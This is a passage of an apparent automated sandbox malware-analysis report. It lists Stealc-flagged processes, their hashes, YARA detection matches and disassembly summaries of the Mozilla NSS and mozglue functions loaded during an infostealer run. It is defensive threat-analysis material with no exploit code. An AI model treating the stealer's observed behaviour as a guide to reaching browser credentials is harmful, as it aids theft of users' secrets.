Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 0000001A.00000002.2874044959.00000000013EE000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 0000001A.00000003.2831544731.0000000004F80000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 0000001A.00000002.2871777456.00000000005F1000.00000040.00000001.01000000.0000000F.sdmp, Author: Joe Security
Has exited:	true

Show Windows behavior

Target ID:	27
Start time:	07:36:16
Start date:	12/11/2024
Path:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
Wow64 process (32bit):
Commandline:	"C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe"
Imagebase:
File size:	3'224'064 bytes
MD5 hash:	D2BB2A25108B9A225C896FD5C0E469C0
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	28
Start time:	07:36:24
Start date:	12/11/2024
Path:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=edge_search_indexer.mojom.SearchIndexerInterfaceBroker --lang=en-GB --service-sandbox-type=search_indexer --message-loop-type-ui --mojo-platform-channel-handle=6472 --field-trial-handle=2536,i,717750146961907579,3352193052425683844,262144 /prefetch:8
Imagebase:	0x7ff715da0000
File size:	4'210'216 bytes
MD5 hash:	BF154738460E4AB1D388970E1AB13FAB
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	29
Start time:	07:36:26
Start date:	12/11/2024
Path:	C:\Users\user\AppData\Local\Temp\1005746001\80b5f835af.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\1005746001\80b5f835af.exe"
Imagebase:	0x5f0000
File size:	1'782'784 bytes
MD5 hash:	5A2241AE692A1A1563AFD21574DCF238
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 0000001D.00000002.3017859957.00000000011CB000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 0000001D.00000003.2976420926.0000000004FA0000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 0000001D.00000002.3016848121.00000000005F1000.00000040.00000001.01000000.0000000F.sdmp, Author: Joe Security
Has exited:	true

Show Windows behavior

Target ID:	30
Start time:	07:36:27
Start date:	12/11/2024
Path:	C:\Users\user\AppData\Local\Temp\1005748001\e8cb2646d2.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\1005748001\e8cb2646d2.exe"
Imagebase:	0xdb0000
File size:	2'745'856 bytes
MD5 hash:	DC571FB51CE618C85DF41C5499CA6CD4
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	31
Start time:	07:36:35
Start date:	12/11/2024
Path:	C:\Users\user\AppData\Local\Temp\1005746001\80b5f835af.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\1005746001\80b5f835af.exe"
Imagebase:	0x5f0000
File size:	1'782'784 bytes
MD5 hash:	5A2241AE692A1A1563AFD21574DCF238
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 0000001F.00000002.3093978577.00000000005F1000.00000040.00000001.01000000.0000000F.sdmp, Author: Joe Security Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 0000001F.00000003.3053437488.0000000004AB0000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 0000001F.00000002.3094796057.0000000000E1B000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security
Has exited:	true

Show Windows behavior

Target ID:	32
Start time:	07:36:43
Start date:	12/11/2024
Path:	C:\Users\user\AppData\Local\Temp\1005748001\e8cb2646d2.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\1005748001\e8cb2646d2.exe"
Imagebase:	0xdb0000
File size:	2'745'856 bytes
MD5 hash:	DC571FB51CE618C85DF41C5499CA6CD4
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	33
Start time:	07:36:56
Start date:	12/11/2024
Path:	C:\Users\user\AppData\Local\Temp\1005748001\e8cb2646d2.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\1005748001\e8cb2646d2.exe"
Imagebase:	0xdb0000
File size:	2'745'856 bytes
MD5 hash:	DC571FB51CE618C85DF41C5499CA6CD4
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	34
Start time:	07:38:24
Start date:	12/11/2024
Path:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=asset_store.mojom.AssetStoreService --lang=en-GB --service-sandbox-type=asset_store_service --mojo-platform-channel-handle=5752 --field-trial-handle=2536,i,717750146961907579,3352193052425683844,262144 /prefetch:8
Imagebase:	0x7ff715da0000
File size:	4'210'216 bytes
MD5 hash:	BF154738460E4AB1D388970E1AB13FAB
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Execution Graph

Execution Coverage:	0.1%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	30.6%
Total number of Nodes:	108
Total number of Limit Nodes:	12

Executed Functions

Function 6CAD35A0 Relevance: 37.0, APIs: 16, Strings: 5, Instructions: 294
stringtimeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

InitializeCriticalSectionAndSpinCount.KERNEL32(6CB5F688,00001000), ref: 6CAD35D5
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_TIMESTAMP_MODE), ref: 6CAD35E0
QueryPerformanceFrequency.KERNEL32(?), ref: 6CAD35FD
_strnicmp.API-MS-WIN-CRT-STRING-L1-1-0(?,GenuntelineI,0000000C), ref: 6CAD363F
GetSystemTimeAdjustment.KERNEL32(?,?,?), ref: 6CAD369F
__aulldiv.LIBCMT ref: 6CAD36E4
QueryPerformanceCounter.KERNEL32(?), ref: 6CAD3773
EnterCriticalSection.KERNEL32(6CB5F688), ref: 6CAD377E
LeaveCriticalSection.KERNEL32(6CB5F688), ref: 6CAD37BD
QueryPerformanceCounter.KERNEL32(?), ref: 6CAD37C4
EnterCriticalSection.KERNEL32(6CB5F688), ref: 6CAD37CB
LeaveCriticalSection.KERNEL32(6CB5F688), ref: 6CAD3801
__aulldiv.LIBCMT ref: 6CAD3883
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(00000000,QPC), ref: 6CAD3902
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(00000000,GTC), ref: 6CAD3918
_strnicmp.API-MS-WIN-CRT-STRING-L1-1-0(?,AuthcAMDenti,0000000C), ref: 6CAD394C

Strings

QPC, xrefs: 6CAD38FC
GTC, xrefs: 6CAD3912
AuthcAMDenti, xrefs: 6CAD3946
MOZ_TIMESTAMP_MODE, xrefs: 6CAD35DB
GenuntelineI, xrefs: 6CAD3639

Memory Dump Source

Source File: 00000000.00000002.2655041135.000000006CAD1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CAD0000, based on PE: true

Associated: 00000000.00000002.2655006296.000000006CAD0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2655139395.000000006CB4D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2655206250.000000006CB5E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2655235257.000000006CB62000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cad0000_file.jbxd

Similarity

API ID: CriticalSection$PerformanceQuery$CounterEnterLeave__aulldiv_strnicmpstrcmp$AdjustmentCountFrequencyInitializeSpinSystemTimegetenv
String ID: AuthcAMDenti$GTC$GenuntelineI$MOZ_TIMESTAMP_MODE$QPC
API String ID: 301339242-3790311718
Opcode ID: 5e96fb7d18b8b5dbf1460e66221b83ccb48ed61ab5a8d84835a39602ae7b113f
Instruction ID: 95bf5db5b0ebb5880c8b0fa89e6741b461b4431e1eda18075855c6483917fb64
Opcode Fuzzy Hash: 5e96fb7d18b8b5dbf1460e66221b83ccb48ed61ab5a8d84835a39602ae7b113f
Instruction Fuzzy Hash: DDB1E671B093509FDB08DF28C85461ABBF6FB8A704F49892EE899D7790D774A844CB81

Function 6CAEC930 Relevance: 7.6, APIs: 5, Instructions: 83
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetSystemInfo.KERNEL32(?), ref: 6CAEC947
VirtualAlloc.KERNEL32(?,?,00002000,00000001), ref: 6CAEC969
GetSystemInfo.KERNEL32(?), ref: 6CAEC9A9
VirtualFree.KERNEL32(00000000,?,00008000), ref: 6CAEC9C8
VirtualAlloc.KERNEL32(00000000,?,00002000,00000001), ref: 6CAEC9E2

Memory Dump Source

Source File: 00000000.00000002.2655041135.000000006CAD1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CAD0000, based on PE: true

Associated: 00000000.00000002.2655006296.000000006CAD0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2655139395.000000006CB4D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2655206250.000000006CB5E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2655235257.000000006CB62000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cad0000_file.jbxd

Similarity

API ID: Virtual$AllocInfoSystem$Free
String ID:
API String ID: 4191843772-0
Opcode ID: 0eab274a3eff6298d205604007e79a42363443a5516e77b16b071687f20fb5d4
Instruction ID: 1613cef470aeef8597951b0f085038bed967f093e170f35c330a2cf3b3c8010e
Opcode Fuzzy Hash: 0eab274a3eff6298d205604007e79a42363443a5516e77b16b071687f20fb5d4
Instruction Fuzzy Hash: EA21FC317412186BDB05AFA4DC84BAEBBB9AB4A708F94051DF903A7780EB705C4487E1

Function 6CAD3060 Relevance: 4.5, APIs: 3, Instructions: 36
timeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

?Startup@TimeStamp@mozilla@@SAXXZ.MOZGLUE ref: 6CAD3095

Part of subcall function 6CAD35A0: InitializeCriticalSectionAndSpinCount.KERNEL32(6CB5F688,00001000), ref: 6CAD35D5
Part of subcall function 6CAD35A0: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_TIMESTAMP_MODE), ref: 6CAD35E0
Part of subcall function 6CAD35A0: QueryPerformanceFrequency.KERNEL32(?), ref: 6CAD35FD
Part of subcall function 6CAD35A0: _strnicmp.API-MS-WIN-CRT-STRING-L1-1-0(?,GenuntelineI,0000000C), ref: 6CAD363F
Part of subcall function 6CAD35A0: GetSystemTimeAdjustment.KERNEL32(?,?,?), ref: 6CAD369F
Part of subcall function 6CAD35A0: __aulldiv.LIBCMT ref: 6CAD36E4

?Now@TimeStamp@mozilla@@CA?AV12@_N@Z.MOZGLUE(?,00000001), ref: 6CAD309F

Part of subcall function 6CAF5B50: QueryPerformanceCounter.KERNEL32(?,?,?,?,6CAF56EE,?,00000001), ref: 6CAF5B85
Part of subcall function 6CAF5B50: EnterCriticalSection.KERNEL32(6CB5F688,?,?,?,6CAF56EE,?,00000001), ref: 6CAF5B90
Part of subcall function 6CAF5B50: LeaveCriticalSection.KERNEL32(6CB5F688,?,?,?,6CAF56EE,?,00000001), ref: 6CAF5BD8
Part of subcall function 6CAF5B50: GetTickCount64.KERNEL32 ref: 6CAF5BE4

?InitializeUptime@mozilla@@YAXXZ.MOZGLUE ref: 6CAD30BE

Part of subcall function 6CAD30F0: QueryUnbiasedInterruptTime.KERNEL32 ref: 6CAD3127
Part of subcall function 6CAD30F0: __aulldiv.LIBCMT ref: 6CAD3140

Part of subcall function 6CB0AB2A: __onexit.LIBCMT ref: 6CB0AB30

Memory Dump Source

Source File: 00000000.00000002.2655041135.000000006CAD1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CAD0000, based on PE: true

Associated: 00000000.00000002.2655006296.000000006CAD0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2655139395.000000006CB4D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2655206250.000000006CB5E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2655235257.000000006CB62000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cad0000_file.jbxd

Similarity

API ID: Time$CriticalQuerySection$InitializePerformanceStamp@mozilla@@__aulldiv$AdjustmentCountCount64CounterEnterFrequencyInterruptLeaveNow@SpinStartup@SystemTickUnbiasedUptime@mozilla@@V12@___onexit_strnicmpgetenv
String ID:
API String ID: 4291168024-0
Opcode ID: ca813afb4c0ef2dfce937746bc46ed06776d6c1d29ace4b5d2eae9dcfb01b1a5
Instruction ID: 48d38d3b86892fb135c74cab21f1e8c18038a95d850e4c975176215e8da3b77b
Opcode Fuzzy Hash: ca813afb4c0ef2dfce937746bc46ed06776d6c1d29ace4b5d2eae9dcfb01b1a5
Instruction Fuzzy Hash: 5EF0A922E2078896CA10EF7489915EBF774AF6B114F915719E89467591FB2071DCC381

Non-executed Functions

Function 6CC06E90 Relevance: 142.5, APIs: 71, Strings: 10, Instructions: 783stringmemoryCOMMON

Download Yara Rule

APIs

PR_CallOnce.NSS3(6CD52120,6CC07E60), ref: 6CC06EBC
TlsGetValue.KERNEL32 ref: 6CC06EDF
EnterCriticalSection.KERNEL32(?), ref: 6CC06EF3
PR_WaitCondVar.NSS3(000000FF), ref: 6CC06F25

Part of subcall function 6CBDA900: TlsGetValue.KERNEL32(00000000,?,6CD514E4,?,6CB74DD9), ref: 6CBDA90F
Part of subcall function 6CBDA900: _PR_MD_WAIT_CV.NSS3(?,?,?), ref: 6CBDA94F

PR_Unlock.NSS3 ref: 6CC06F68
PORT_ZAlloc_Util.NSS3(00000008), ref: 6CC06FA9
TlsGetValue.KERNEL32 ref: 6CC070B4
EnterCriticalSection.KERNEL32(?), ref: 6CC070C8
PR_CallOnce.NSS3(6CD524C0,6CC47590), ref: 6CC07104
PR_SetError.NSS3(FFFFE013,00000000), ref: 6CC07117
SECOID_Init.NSS3 ref: 6CC07128
PORT_Alloc_Util.NSS3(00000057), ref: 6CC0714E
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6CC0717F
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6CC071A9
PR_NotifyAllCondVar.NSS3 ref: 6CC071CF
PR_Unlock.NSS3 ref: 6CC071DD
free.MOZGLUE(?), ref: 6CC071EE
PR_SetError.NSS3(FFFFE013,00000000), ref: 6CC07208
free.MOZGLUE(00000000), ref: 6CC07221
free.MOZGLUE(00000001), ref: 6CC07235
TlsGetValue.KERNEL32 ref: 6CC0724A
EnterCriticalSection.KERNEL32(?), ref: 6CC0725E
PR_NotifyCondVar.NSS3 ref: 6CC07273
PR_Unlock.NSS3 ref: 6CC07281
SECMOD_DestroyModule.NSS3(00000000), ref: 6CC07291
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6CC072B1
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6CC072D4
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6CC072E3
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6CC07301
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6CC07310
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6CC07335
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6CC07344
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6CC07363
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6CC07372
PR_smprintf.NSS3(name="%s" parameters="configdir='%s' certPrefix='%s' keyPrefix='%s' secmod='%s' flags=%s updatedir='%s' updateCertPrefix='%s' updateKeyPrefix='%s' updateid='%s' updateTokenDescription='%s' %s" NSS="flags=internal,moduleDB,moduleDBOnly,critical%s",NSS Internal Module,00000000,00000000,?,00000000,00000000,00000000,00000000,00000000,?,00000000,6CD40148,,defaultModDB,internalKeySlot), ref: 6CC074CC
free.MOZGLUE(00000000), ref: 6CC07513
free.MOZGLUE(00000000), ref: 6CC0751B
free.MOZGLUE(00000000), ref: 6CC07528
free.MOZGLUE(00000000), ref: 6CC0753C
free.MOZGLUE(00000000), ref: 6CC07550
free.MOZGLUE(00000000), ref: 6CC07561
free.MOZGLUE(00000000), ref: 6CC07572
free.MOZGLUE(00000000), ref: 6CC07583
free.MOZGLUE(00000000), ref: 6CC07594
free.MOZGLUE(00000000), ref: 6CC075A2
SECMOD_LoadModule.NSS3(00000000,00000000,00000001), ref: 6CC075BD
free.MOZGLUE(00000000), ref: 6CC075C8
free.MOZGLUE(00000000), ref: 6CC075F1
PR_NewLock.NSS3 ref: 6CC07636
SECMOD_DestroyModule.NSS3(00000000), ref: 6CC07686
PR_NewLock.NSS3 ref: 6CC076A2

Part of subcall function 6CCB98D0: calloc.MOZGLUE(00000001,00000084,6CBE0936,00000001,?,6CBE102C), ref: 6CCB98E5

PORT_ZAlloc_Util.NSS3(00000050), ref: 6CC076B6
strncmp.API-MS-WIN-CRT-STRING-L1-1-0(?,sql:,00000004), ref: 6CC07707
strncmp.API-MS-WIN-CRT-STRING-L1-1-0(?,dbm:,00000004), ref: 6CC0771C
strncmp.API-MS-WIN-CRT-STRING-L1-1-0(?,extern:,00000007), ref: 6CC07731
strncmp.API-MS-WIN-CRT-STRING-L1-1-0(?,rdb:,00000004), ref: 6CC0774A
DeleteCriticalSection.KERNEL32(?), ref: 6CC07770
free.MOZGLUE(?), ref: 6CC07779
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6CC0779A
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6CC077AC
PORT_Alloc_Util.NSS3(-0000000D), ref: 6CC077C4
memcpy.VCRUNTIME140(00000000,?,00000000), ref: 6CC077DB
strrchr.VCRUNTIME140(?,0000002F), ref: 6CC07821
PORT_Alloc_Util.NSS3(?), ref: 6CC07837
memcpy.VCRUNTIME140(00000000,00000000,00000000), ref: 6CC0785B
memcpy.VCRUNTIME140(00000000,?,00000000), ref: 6CC0786F
SECMOD_AddNewModuleEx.NSS3 ref: 6CC078AC
free.MOZGLUE(00000000), ref: 6CC078BE
SECMOD_AddNewModuleEx.NSS3 ref: 6CC078F3
free.MOZGLUE(00000000), ref: 6CC078FC
free.MOZGLUE(00000000), ref: 6CC0791C

Part of subcall function 6CBE07A0: TlsGetValue.KERNEL32(00000000,?,?,?,?,6CB7204A), ref: 6CBE07AD
Part of subcall function 6CBE07A0: TlsSetValue.KERNEL32(00000000,?,?,?,?,6CB7204A), ref: 6CBE07CD
Part of subcall function 6CBE07A0: TlsSetValue.KERNEL32(00000000,?,?,?,?,6CB7204A), ref: 6CBE07D6
Part of subcall function 6CBE07A0: calloc.MOZGLUE(00000001,00000144,?,?,?,?,6CB7204A), ref: 6CBE07E4
Part of subcall function 6CBE07A0: TlsSetValue.KERNEL32(00000000,?,6CB7204A), ref: 6CBE0864
Part of subcall function 6CBE07A0: calloc.MOZGLUE(00000001,0000002C), ref: 6CBE0880
Part of subcall function 6CBE07A0: TlsSetValue.KERNEL32(00000000,?,?,6CB7204A), ref: 6CBE08CB
Part of subcall function 6CBE07A0: TlsGetValue.KERNEL32(?,?,6CB7204A), ref: 6CBE08D7
Part of subcall function 6CBE07A0: TlsGetValue.KERNEL32(?,?,6CB7204A), ref: 6CBE08FB

Strings

,defaultModDB,internalKeySlot, xrefs: 6CC0748D, 6CC074AA
name="%s" parameters="configdir='%s' certPrefix='%s' keyPrefix='%s' secmod='%s' flags=%s updatedir='%s' updateCertPrefix='%s' updateKeyPrefix='%s' updateid='%s' updateTokenDescription='%s' %s" NSS="flags=internal,moduleDB,moduleDBOnly,critical%s", xrefs: 6CC074C7
kbi., xrefs: 6CC07886
Spac, xrefs: 6CC07389
sql:, xrefs: 6CC076FE
dll, xrefs: 6CC0788E
extern:, xrefs: 6CC0772B
rdb:, xrefs: 6CC07744
NSS Internal Module, xrefs: 6CC074A2, 6CC074C6
dbm:, xrefs: 6CC07716

Memory Dump Source

Source File: 00000000.00000002.2655323819.000000006CB71000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CB70000, based on PE: true

Associated: 00000000.00000002.2655277389.000000006CB70000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2655673154.000000006CD0F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2655794540.000000006CD4E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2655866987.000000006CD4F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2655911970.000000006CD50000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2655951724.000000006CD55000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb70000_file.jbxd

Similarity

API ID: free$strlen$Value$Alloc_ModuleUtil$CriticalSectionstrncmp$CondEnterUnlockcallocmemcpy$CallDestroyErrorLockNotifyOnce$DeleteInitLoadR_smprintfWaitstrrchr
String ID: ,defaultModDB,internalKeySlot$NSS Internal Module$Spac$dbm:$dll$extern:$kbi.$name="%s" parameters="configdir='%s' certPrefix='%s' keyPrefix='%s' secmod='%s' flags=%s updatedir='%s' updateCertPrefix='%s' updateKeyPrefix='%s' updateid='%s' updateTokenDescription='%s' %s" NSS="flags=internal,moduleDB,moduleDBOnly,critical%s"$rdb:$sql:
API String ID: 3465160547-3797173233
Opcode ID: 16bbb1cf9d21797807fdce667eeb03ec8dcdcee74b29f83f316ef5ab7ee68816
Instruction ID: b53b4cacb4399f065f89bc2654a7fb6694760e183b3c4f5d95f120eab1465e30
Opcode Fuzzy Hash: 16bbb1cf9d21797807fdce667eeb03ec8dcdcee74b29f83f316ef5ab7ee68816
Instruction Fuzzy Hash: 3152F1B1F002059BEF159F64CC05BAE7BB8BF0530CF144129EE49A6A51F732D958CB92

Function 6CC16D90 Relevance: 60.3, APIs: 33, Strings: 1, Instructions: 809COMMON

Download Yara Rule

APIs

memcpy.VCRUNTIME140(?,6CD1A8EC,0000006C), ref: 6CC16DC6
memcpy.VCRUNTIME140(?,6CD1A958,0000006C), ref: 6CC16DDB
memcpy.VCRUNTIME140(?,6CD1A9C4,00000078), ref: 6CC16DF1
memcpy.VCRUNTIME140(?,6CD1AA3C,0000006C), ref: 6CC16E06
memcpy.VCRUNTIME140(?,6CD1AAA8,00000060), ref: 6CC16E1C
PR_SetError.NSS3(FFFFE005,00000000), ref: 6CC16E38

Part of subcall function 6CC9C2A0: TlsGetValue.KERNEL32(FFFFE89D,00000000,?,?,?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6CC9C2BF

PK11_DoesMechanism.NSS3(?,?), ref: 6CC16E76
TlsGetValue.KERNEL32 ref: 6CC1726F
EnterCriticalSection.KERNEL32(?), ref: 6CC17283

Strings

!, xrefs: 6CC17123

Memory Dump Source

Source File: 00000000.00000002.2655323819.000000006CB71000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CB70000, based on PE: true

Associated: 00000000.00000002.2655277389.000000006CB70000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2655673154.000000006CD0F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2655794540.000000006CD4E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2655866987.000000006CD4F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2655911970.000000006CD50000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2655951724.000000006CD55000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb70000_file.jbxd

Similarity

API ID: memcpy$Value$CriticalDoesEnterErrorK11_MechanismSection
String ID: !
API String ID: 3333340300-2657877971
Opcode ID: b92658e891af8c8daab98fb943b9942a68c351f531ed421b59b9c2e5c4ed8441
Instruction ID: 91d980985ecc743a1aa2c48bdeb24cf4429f952a7c6595c8a7b05a8eb37d2e05
Opcode Fuzzy Hash: b92658e891af8c8daab98fb943b9942a68c351f531ed421b59b9c2e5c4ed8441
Instruction Fuzzy Hash: 15728C75D092189FDB20DF29CC8879ABBB5FF49304F1041A9D80DA7B11EB319A85DF91

Function 6CBDE6E0 Relevance: 44.2, APIs: 17, Strings: 8, Instructions: 452stringCOMMON

Download Yara Rule

APIs

strlen.API-MS-WIN-CRT-STRING-L1-1-0(?,?,00000000,?,6CBDDA6A,?,00000000,?,?), ref: 6CBDE6FF
sqlite3_initialize.NSS3(?,?,00000000,?,6CBDDA6A,?,00000000,?,?), ref: 6CBDE76B
strncmp.API-MS-WIN-CRT-STRING-L1-1-0(6CBDDA6F,///,00000003,?,?,00000000), ref: 6CBDE7AC
strncmp.API-MS-WIN-CRT-STRING-L1-1-0(6CBDDA71,///,00000003), ref: 6CBDE7C8
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6CBDE8E8
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6CBDE908
strlen.API-MS-WIN-CRT-STRING-L1-1-0 ref: 6CBDE921
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6CBDE978
memcmp.VCRUNTIME140(?,?,6CBDDA6A), ref: 6CBDE991
sqlite3_initialize.NSS3(?,?,00000000,?,6CBDDA6A,?,00000000,?,?), ref: 6CBDE9FA
memcpy.VCRUNTIME140(?,6CBDDA6A,00000000,?,?,00000000), ref: 6CBDEA3A
sqlite3_initialize.NSS3(?,?,00000000), ref: 6CBDEA55
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(00000000,?), ref: 6CBDEABA
sqlite3_mprintf.NSS3(no such %s mode: %s,6CD2E039,?), ref: 6CBDEB9F
sqlite3_free.NSS3(000000FC,?,?,?,?,00000000), ref: 6CBDEBDB
sqlite3_mprintf.NSS3(no such vfs: %s,?,?,?,00000000), ref: 6CBDEC1A
strncmp.API-MS-WIN-CRT-STRING-L1-1-0(?,//localhost/,0000000C), ref: 6CBDEC2E

Strings

cach, xrefs: 6CBDE93A
no such vfs: %s, xrefs: 6CBDEC15
file, xrefs: 6CBDE738
no such %s mode: %s, xrefs: 6CBDEB9A
///, xrefs: 6CBDE7A3, 6CBDE7C2
//localhost/, xrefs: 6CBDEC26
mode, xrefs: 6CBDEC58
%s mode not allowed: %s, xrefs: 6CBDECB7

Memory Dump Source

Source File: 00000000.00000002.2655323819.000000006CB71000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CB70000, based on PE: true

Associated: 00000000.00000002.2655277389.000000006CB70000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2655673154.000000006CD0F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2655794540.000000006CD4E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2655866987.000000006CD4F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2655911970.000000006CD50000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2655951724.000000006CD55000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb70000_file.jbxd

Similarity

API ID: strlen$sqlite3_initializestrncmp$sqlite3_mprintf$memcmpmemcpysqlite3_freestrcmp
String ID: %s mode not allowed: %s$///$//localhost/$cach$file$mode$no such %s mode: %s$no such vfs: %s
API String ID: 3798319595-1352301890
Opcode ID: 08959eabd0b89ddbe5adec6c76a8ed44c18576248e71e087fca93961ff158c36
Instruction ID: ac6322274e1204defa960c628f02c90b074ea2cc469095e4179cd7a19a5d0fad
Opcode Fuzzy Hash: 08959eabd0b89ddbe5adec6c76a8ed44c18576248e71e087fca93961ff158c36
Instruction Fuzzy Hash: B5F11371E052D68FEB10CFA4C8817AEFBB1FB05308F1A4129D8566BA90D7357845CBE2

Function 6CB98460 Relevance: 41.3, APIs: 22, Strings: 1, Instructions: 1095COMMON

Download Yara Rule

APIs

memcmp.VCRUNTIME140(?,00000000,00000030), ref: 6CB984FF
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(377F0682), ref: 6CB988BB
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(002DE218), ref: 6CB988CE
